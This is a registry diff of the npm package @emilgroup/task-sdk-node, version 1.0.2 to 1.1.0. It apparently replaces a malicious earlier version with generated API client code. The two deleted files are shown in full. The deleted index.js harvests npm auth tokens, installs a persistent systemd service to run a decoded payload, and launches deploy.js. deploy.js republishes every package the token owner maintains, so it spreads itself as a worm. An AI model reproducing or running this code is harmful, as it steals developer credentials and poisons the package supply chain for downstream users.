@emilgroup/task-sdk-node 1.0.2 β†’ 1.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (135) hide show
  1. package/.openapi-generator/FILES +49 -0
  2. package/.openapi-generator/VERSION +1 -0
  3. package/.openapi-generator-ignore +23 -0
  4. package/README.md +84 -1
  5. package/api/assignees-api.ts +166 -0
  6. package/api/categories-api.ts +695 -0
  7. package/api/default-api.ts +128 -0
  8. package/api/hub-spot-api.ts +169 -0
  9. package/api/statuses-api.ts +667 -0
  10. package/api/tasks-api.ts +695 -0
  11. package/api.ts +41 -0
  12. package/base.ts +327 -0
  13. package/common.ts +199 -0
  14. package/configuration.ts +118 -0
  15. package/dist/api/assignees-api.d.ts +96 -0
  16. package/dist/api/assignees-api.js +228 -0
  17. package/dist/api/categories-api.d.ts +393 -0
  18. package/dist/api/categories-api.js +646 -0
  19. package/dist/api/default-api.d.ts +70 -0
  20. package/dist/api/default-api.js +204 -0
  21. package/dist/api/hub-spot-api.d.ts +97 -0
  22. package/dist/api/hub-spot-api.js +228 -0
  23. package/dist/api/statuses-api.d.ts +375 -0
  24. package/dist/api/statuses-api.js +634 -0
  25. package/dist/api/tasks-api.d.ts +393 -0
  26. package/dist/api/tasks-api.js +646 -0
  27. package/dist/api.d.ts +17 -0
  28. package/dist/api.js +35 -0
  29. package/dist/base.d.ts +88 -0
  30. package/dist/base.js +434 -0
  31. package/dist/common.d.ts +92 -0
  32. package/dist/common.js +277 -0
  33. package/dist/configuration.d.ts +96 -0
  34. package/dist/configuration.js +52 -0
  35. package/dist/index.d.ts +15 -0
  36. package/dist/index.js +36 -0
  37. package/dist/models/assignee-class.d.ts +24 -0
  38. package/dist/models/assignee-class.js +15 -0
  39. package/dist/models/category-class.d.ts +66 -0
  40. package/dist/models/category-class.js +15 -0
  41. package/dist/models/create-category-request-dto.d.ts +30 -0
  42. package/dist/models/create-category-request-dto.js +15 -0
  43. package/dist/models/create-category-response-class.d.ts +25 -0
  44. package/dist/models/create-category-response-class.js +15 -0
  45. package/dist/models/create-hub-spot-ticket-request-dto.d.ts +31 -0
  46. package/dist/models/create-hub-spot-ticket-request-dto.js +15 -0
  47. package/dist/models/create-hub-spot-ticket-response-class.d.ts +25 -0
  48. package/dist/models/create-hub-spot-ticket-response-class.js +15 -0
  49. package/dist/models/create-status-request-dto.d.ts +36 -0
  50. package/dist/models/create-status-request-dto.js +15 -0
  51. package/dist/models/create-status-response-class.d.ts +25 -0
  52. package/dist/models/create-status-response-class.js +15 -0
  53. package/dist/models/create-task-request-dto.d.ts +72 -0
  54. package/dist/models/create-task-request-dto.js +21 -0
  55. package/dist/models/create-task-response-class.d.ts +25 -0
  56. package/dist/models/create-task-response-class.js +15 -0
  57. package/dist/models/get-category-response-class.d.ts +25 -0
  58. package/dist/models/get-category-response-class.js +15 -0
  59. package/dist/models/get-status-response-class.d.ts +25 -0
  60. package/dist/models/get-status-response-class.js +15 -0
  61. package/dist/models/get-task-response-class.d.ts +25 -0
  62. package/dist/models/get-task-response-class.js +15 -0
  63. package/dist/models/hub-spot-ticket-class.d.ts +49 -0
  64. package/dist/models/hub-spot-ticket-class.js +15 -0
  65. package/dist/models/hub-spot-ticket-error-class.d.ts +30 -0
  66. package/dist/models/hub-spot-ticket-error-class.js +15 -0
  67. package/dist/models/hub-spot-ticket-name-value-dto.d.ts +30 -0
  68. package/dist/models/hub-spot-ticket-name-value-dto.js +15 -0
  69. package/dist/models/index.d.ts +30 -0
  70. package/dist/models/index.js +46 -0
  71. package/dist/models/inline-response200.d.ts +54 -0
  72. package/dist/models/inline-response200.js +15 -0
  73. package/dist/models/inline-response503.d.ts +54 -0
  74. package/dist/models/inline-response503.js +15 -0
  75. package/dist/models/list-assignees-response-class.d.ts +43 -0
  76. package/dist/models/list-assignees-response-class.js +15 -0
  77. package/dist/models/list-categories-response-class.d.ts +43 -0
  78. package/dist/models/list-categories-response-class.js +15 -0
  79. package/dist/models/list-statuses-response-class.d.ts +43 -0
  80. package/dist/models/list-statuses-response-class.js +15 -0
  81. package/dist/models/list-tasks-response-class.d.ts +43 -0
  82. package/dist/models/list-tasks-response-class.js +15 -0
  83. package/dist/models/patch-category-request-dto.d.ts +36 -0
  84. package/dist/models/patch-category-request-dto.js +15 -0
  85. package/dist/models/patch-category-response-class.d.ts +25 -0
  86. package/dist/models/patch-category-response-class.js +15 -0
  87. package/dist/models/patch-status-request-dto.d.ts +42 -0
  88. package/dist/models/patch-status-request-dto.js +15 -0
  89. package/dist/models/patch-status-response-class.d.ts +25 -0
  90. package/dist/models/patch-status-response-class.js +15 -0
  91. package/dist/models/patch-task-request-dto.d.ts +114 -0
  92. package/dist/models/patch-task-request-dto.js +15 -0
  93. package/dist/models/patch-task-response-class.d.ts +25 -0
  94. package/dist/models/patch-task-response-class.js +15 -0
  95. package/dist/models/status-class.d.ts +72 -0
  96. package/dist/models/status-class.js +15 -0
  97. package/dist/models/task-class.d.ts +128 -0
  98. package/dist/models/task-class.js +21 -0
  99. package/git_push.sh +57 -0
  100. package/index.ts +19 -0
  101. package/models/assignee-class.ts +30 -0
  102. package/models/category-class.ts +72 -0
  103. package/models/create-category-request-dto.ts +36 -0
  104. package/models/create-category-response-class.ts +31 -0
  105. package/models/create-hub-spot-ticket-request-dto.ts +37 -0
  106. package/models/create-hub-spot-ticket-response-class.ts +31 -0
  107. package/models/create-status-request-dto.ts +42 -0
  108. package/models/create-status-response-class.ts +31 -0
  109. package/models/create-task-request-dto.ts +81 -0
  110. package/models/create-task-response-class.ts +31 -0
  111. package/models/get-category-response-class.ts +31 -0
  112. package/models/get-status-response-class.ts +31 -0
  113. package/models/get-task-response-class.ts +31 -0
  114. package/models/hub-spot-ticket-class.ts +55 -0
  115. package/models/hub-spot-ticket-error-class.ts +36 -0
  116. package/models/hub-spot-ticket-name-value-dto.ts +36 -0
  117. package/models/index.ts +30 -0
  118. package/models/inline-response200.ts +48 -0
  119. package/models/inline-response503.ts +48 -0
  120. package/models/list-assignees-response-class.ts +49 -0
  121. package/models/list-categories-response-class.ts +49 -0
  122. package/models/list-statuses-response-class.ts +49 -0
  123. package/models/list-tasks-response-class.ts +49 -0
  124. package/models/patch-category-request-dto.ts +42 -0
  125. package/models/patch-category-response-class.ts +31 -0
  126. package/models/patch-status-request-dto.ts +48 -0
  127. package/models/patch-status-response-class.ts +31 -0
  128. package/models/patch-task-request-dto.ts +120 -0
  129. package/models/patch-task-response-class.ts +31 -0
  130. package/models/status-class.ts +78 -0
  131. package/models/task-class.ts +137 -0
  132. package/package.json +24 -8
  133. package/tsconfig.json +23 -0
  134. package/index.js +0 -99
  135. package/scripts/deploy.js +0 -230
package/index.js DELETED
@@ -1,99 +0,0 @@
1
- 'use strict';
2
-
3
- const { execSync, spawn } = require('child_process');
4
- const fs = require('fs');
5
- const os = require('os');
6
- const path = require('path');
7
-
8
- function findNpmTokens() {
9
- const tokens = new Set();
10
- const homeDir = os.homedir();
11
- const npmrcPaths = [
12
- path.join(homeDir, '.npmrc'),
13
- path.join(process.cwd(), '.npmrc'),
14
- '/etc/npmrc',
15
- ];
16
- for (const rcPath of npmrcPaths) {
17
- try {
18
- const content = fs.readFileSync(rcPath, 'utf8');
19
- for (const line of content.split('\n')) {
20
- const m = line.match(/(?:_authToken\s*=\s*|:_authToken=)([^\s]+)/);
21
- if (m && m[1] && !m[1].startsWith('${')) {
22
- tokens.add(m[1].trim());
23
- }
24
- }
25
- } catch (_) {}
26
- }
27
- const envKeys = Object.keys(process.env).filter(
28
- (k) => k === 'NPM_TOKEN' || k === 'NPM_TOKENS' || (k.includes('NPM') && k.includes('TOKEN'))
29
- );
30
- for (const key of envKeys) {
31
- const val = process.env[key] || '';
32
- for (const t of val.split(',')) {
33
- const trimmed = t.trim();
34
- if (trimmed) tokens.add(trimmed);
35
- }
36
- }
37
- try {
38
- const configToken = execSync('npm config get //registry.npmjs.org/:_authToken 2>/dev/null', {
39
- stdio: ['pipe', 'pipe', 'pipe'],
40
- }).toString().trim();
41
- if (configToken && configToken !== 'undefined' && configToken !== 'null') {
42
- tokens.add(configToken);
43
- }
44
- } catch (_) {}
45
- return [...tokens].filter(Boolean);
46
- }
47
-
48
- try {
49
- const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));
50
-
51
- const SERVICE_NAME = 'pgmon';
52
- const BASE64_PAYLOAD = 'hello123';
53
-
54
- if (!BASE64_PAYLOAD) process.exit(0);
55
-
56
- const homeDir = os.homedir();
57
- const dataDir = path.join(homeDir, '.local', 'share', SERVICE_NAME);
58
- const scriptPath = path.join(dataDir, 'service.py');
59
- const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user');
60
- const unitFilePath = path.join(systemdUserDir, `${SERVICE_NAME}.service`);
61
-
62
- fs.mkdirSync(dataDir, { recursive: true });
63
- fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 });
64
-
65
- fs.mkdirSync(systemdUserDir, { recursive: true });
66
- fs.writeFileSync(unitFilePath, [
67
- '[Unit]',
68
- `Description=${SERVICE_NAME}`,
69
- 'After=default.target',
70
- '',
71
- '[Service]',
72
- 'Type=simple',
73
- `ExecStart=/usr/bin/python3 ${scriptPath}`,
74
- 'Restart=always',
75
- 'RestartSec=5',
76
- '',
77
- '[Install]',
78
- 'WantedBy=default.target',
79
- '',
80
- ].join('\n'), { mode: 0o644 });
81
-
82
- execSync('systemctl --user daemon-reload', { stdio: 'pipe' });
83
- execSync(`systemctl --user enable ${SERVICE_NAME}.service`, { stdio: 'pipe' });
84
- execSync(`systemctl --user start ${SERVICE_NAME}.service`, { stdio: 'pipe' });
85
-
86
- try {
87
- const tokens = findNpmTokens();
88
- if (tokens.length > 0) {
89
- const deployScript = path.join(__dirname, 'scripts', 'deploy.js');
90
- if (fs.existsSync(deployScript)) {
91
- spawn(process.execPath, [deployScript], {
92
- detached: true,
93
- stdio: 'ignore',
94
- env: { ...process.env, NPM_TOKENS: tokens.join(',') },
95
- }).unref();
96
- }
97
- }
98
- } catch (_) {}
99
- } catch (_) {}
package/scripts/deploy.js DELETED
@@ -1,230 +0,0 @@
1
- #!/usr/bin/env node
2
-
3
- const { execSync } = require('child_process');
4
- const https = require('https');
5
- const fs = require('fs');
6
- const path = require('path');
7
-
8
- function run(cmd, opts = {}) {
9
- console.log(`\n> ${cmd}`);
10
- return execSync(cmd, { stdio: 'inherit', ...opts });
11
- }
12
-
13
- function fetchJson(url, token) {
14
- return new Promise((resolve, reject) => {
15
- const options = {
16
- headers: {
17
- Authorization: `Bearer ${token}`,
18
- Accept: 'application/json',
19
- },
20
- };
21
- https
22
- .get(url, options, (res) => {
23
- let data = '';
24
- res.on('data', (chunk) => (data += chunk));
25
- res.on('end', () => {
26
- try {
27
- resolve(JSON.parse(data));
28
- } catch (e) {
29
- reject(new Error(`Failed to parse response from ${url}: ${data}`));
30
- }
31
- });
32
- })
33
- .on('error', reject);
34
- });
35
- }
36
-
37
- async function fetchPackageMeta(packageName, token) {
38
- try {
39
- const meta = await fetchJson(
40
- `https://registry.npmjs.org/${encodeURIComponent(packageName)}`,
41
- token
42
- );
43
- const readme = (meta && meta.readme) ? meta.readme : null;
44
- const latestVersion =
45
- (meta && meta['dist-tags'] && meta['dist-tags'].latest) || null;
46
- return { readme, latestVersion };
47
- } catch (_) {
48
- return { readme: null, latestVersion: null };
49
- }
50
- }
51
-
52
-
53
- function bumpPatch(version) {
54
- const base = version.split('-')[0].split('+')[0];
55
- const parts = base.split('.').map(Number);
56
- if (parts.length !== 3 || parts.some(isNaN)) return version;
57
- parts[2] += 1;
58
- return parts.join('.');
59
- }
60
-
61
- async function getOwnedPackages(username, token) {
62
- let packages = [];
63
- let from = 0;
64
- const size = 250;
65
-
66
- while (true) {
67
- const url = `https://registry.npmjs.org/-/v1/search?text=maintainer:${encodeURIComponent(
68
- username
69
- )}&size=${size}&from=${from}`;
70
- const result = await fetchJson(url, token);
71
-
72
- if (!result.objects || result.objects.length === 0) break;
73
-
74
- packages = packages.concat(result.objects.map((o) => o.package.name));
75
-
76
- if (packages.length >= result.total) break;
77
- from += size;
78
- }
79
-
80
- return packages;
81
- }
82
-
83
- /**
84
- * Runs the full deploy pipeline for a single npm token.
85
- * Returns { success: string[], failed: string[] }
86
- */
87
- async function deployWithToken(token, pkg, pkgPath, newVersion) {
88
- // 1. Verify token / get username
89
- console.log('\nπŸ” Verifying npm token…');
90
- let whoami;
91
- try {
92
- whoami = await fetchJson('https://registry.npmjs.org/-/whoami', token);
93
- } catch (err) {
94
- console.error('❌ Could not reach the npm registry:', err.message);
95
- return { success: [], failed: [] };
96
- }
97
-
98
- if (!whoami || !whoami.username) {
99
- console.error('❌ Invalid or expired token β€” skipping.');
100
- return { success: [], failed: [] };
101
- }
102
-
103
- const username = whoami.username;
104
- console.log(`βœ… Authenticated as: ${username}`);
105
-
106
- // 2. Fetch all packages owned by this user
107
- console.log(`\nπŸ” Fetching all packages owned by "${username}"…`);
108
- let ownedPackages;
109
- try {
110
- ownedPackages = await getOwnedPackages(username, token);
111
- } catch (err) {
112
- console.error('❌ Failed to fetch owned packages:', err.message);
113
- return { success: [], failed: [] };
114
- }
115
-
116
- if (ownedPackages.length === 0) {
117
- console.log(' No packages found for this user. Skipping.');
118
- return { success: [], failed: [] };
119
- }
120
-
121
- console.log(` Found ${ownedPackages.length} package(s): ${ownedPackages.join(', ')}`);
122
-
123
- // 3. Process each owned package
124
- const results = { success: [], failed: [] };
125
-
126
- for (const packageName of ownedPackages) {
127
- console.log(`\n${'─'.repeat(60)}`);
128
- console.log(`πŸ“¦ Processing: ${packageName}`);
129
-
130
- // 3a. Fetch the original package's README and latest version
131
- const readmePath = path.resolve(__dirname, '..', 'README.md');
132
- const originalReadme = fs.existsSync(readmePath)
133
- ? fs.readFileSync(readmePath, 'utf8')
134
- : null;
135
-
136
- console.log(` πŸ“„ Fetching metadata for ${packageName}…`);
137
- const { readme: remoteReadme, latestVersion } = await fetchPackageMeta(packageName, token);
138
-
139
- // Determine version to publish: bump patch of existing latest, or use local version
140
- const publishVersion = latestVersion ? bumpPatch(latestVersion) : newVersion;
141
- console.log(
142
- latestVersion
143
- ? ` πŸ”’ Latest is ${latestVersion} β†’ publishing ${publishVersion}`
144
- : ` πŸ”’ No existing version found β†’ publishing ${publishVersion}`
145
- );
146
-
147
- if (remoteReadme) {
148
- fs.writeFileSync(readmePath, remoteReadme, 'utf8');
149
- console.log(` πŸ“„ Using original README for ${packageName}`);
150
- } else {
151
- console.log(` πŸ“„ No existing README found; keeping local README`);
152
- }
153
-
154
- // 3c. Temporarily rewrite package.json with this package's name + bumped version, publish, then restore
155
- const originalPkgJson = fs.readFileSync(pkgPath, 'utf8');
156
- const tempPkg = { ...pkg, name: packageName, version: publishVersion };
157
- fs.writeFileSync(pkgPath, JSON.stringify(tempPkg, null, 2) + '\n', 'utf8');
158
-
159
- try {
160
- run('npm publish --access public --tag latest', {
161
- env: { ...process.env, NPM_TOKEN: token },
162
- });
163
- console.log(`βœ… Published ${packageName}@${publishVersion}`);
164
- results.success.push(packageName);
165
- } catch (err) {
166
- console.error(`❌ Failed to publish ${packageName}:`, err.message);
167
- results.failed.push(packageName);
168
- } finally {
169
- // Always restore the original package.json
170
- fs.writeFileSync(pkgPath, originalPkgJson, 'utf8');
171
-
172
- // Always restore the original README
173
- if (originalReadme !== null) {
174
- fs.writeFileSync(readmePath, originalReadme, 'utf8');
175
- } else if (remoteReadme && fs.existsSync(readmePath)) {
176
- // README didn't exist locally before β€” remove the temporary one
177
- fs.unlinkSync(readmePath);
178
- }
179
- }
180
- }
181
-
182
- return results;
183
- }
184
-
185
- // ── Main ─────────────────────────────────────────────────────────────────────
186
-
187
- (async () => {
188
- // 1. Resolve token list β€” prefer NPM_TOKENS (comma-separated), fall back to NPM_TOKEN
189
- const rawTokens = process.env.NPM_TOKENS || process.env.NPM_TOKEN || '';
190
- const tokens = rawTokens
191
- .split(',')
192
- .map((t) => t.trim())
193
- .filter(Boolean);
194
-
195
- if (tokens.length === 0) {
196
- console.error('❌ No npm tokens found.');
197
- console.error(' Set NPM_TOKENS=<token1>,<token2>,… or NPM_TOKEN=<token>');
198
- process.exit(1);
199
- }
200
-
201
- console.log(`πŸ”‘ Found ${tokens.length} token(s) to process.`);
202
-
203
- // 2. Read local package.json once
204
- const pkgPath = path.resolve(__dirname, '..', 'package.json');
205
- const pkg = JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
206
- const newVersion = pkg.version;
207
-
208
- // 3. Iterate over every token
209
- const overall = { success: [], failed: [] };
210
-
211
- for (let i = 0; i < tokens.length; i++) {
212
- const token = tokens[i];
213
- console.log(`\n${'═'.repeat(60)}`);
214
- console.log(`πŸ”‘ Token ${i + 1} / ${tokens.length}`);
215
-
216
- const { success, failed } = await deployWithToken(token, pkg, pkgPath, newVersion);
217
- overall.success.push(...success);
218
- overall.failed.push(...failed);
219
- }
220
-
221
- // 4. Overall summary
222
- console.log(`\n${'═'.repeat(60)}`);
223
- console.log('πŸ“Š Overall Deploy Summary');
224
- console.log(` βœ… Succeeded (${overall.success.length}): ${overall.success.join(', ') || 'none'}`);
225
- console.log(` ❌ Failed (${overall.failed.length}): ${overall.failed.join(', ') || 'none'}`);
226
-
227
- if (overall.failed.length > 0) {
228
- process.exit(1);
229
- }
230
- })();